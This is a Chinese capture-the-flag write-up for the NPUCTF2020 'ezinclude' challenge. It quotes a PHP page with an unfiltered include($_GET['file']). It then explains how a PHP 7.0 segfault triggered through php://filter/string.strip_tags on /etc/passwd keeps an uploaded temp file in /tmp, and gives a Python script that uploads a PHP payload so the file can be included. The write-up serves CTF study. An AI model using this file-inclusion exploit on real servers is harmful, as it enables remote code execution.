NPUCTF2020 ezinclude

这个题目主要考察了 利用php7版本的 segment fault 来写马 (php <7.2)

给了提示,我们抓个包看下,发现:

7.png

尝试给pass传入这个Hash值发现,中间会有跳转,抓包发现有个 /flflflflag.php ,然后访问,发现 include($_GET[‘file’]) ; 于是尝试伪协议,用伪协议读取到/flflflflag.php 的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了input ,所以不能用php://input 来写马,从一个响应包中我们可以看到PHP的版本:

8.png

可以看到是7.0.33版本,可以尝试一下 segment fault 来写马,?file=php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。只是具体的文件名格式为php+6个字符,这6个字符需要我们去爆破。

写一个上传的脚本:

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO

payload="<?php phpinfo();?>"

datas={'file':BytesIO(payload.encode())}

r=requests.session()
url="http://47ed34fc-4233-4858-abe5-4467a1543865.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
res=r.post(url=url,files=datas,allow_redirects=False)

这个题目提供了一个dir.php文件,可以打出/tmp 目录下的一些文件,如果没有这个文件,我们需要自己写脚本来爆破文件名。然后包含进去即可

9.png

可以在phpinfo()里面找到flag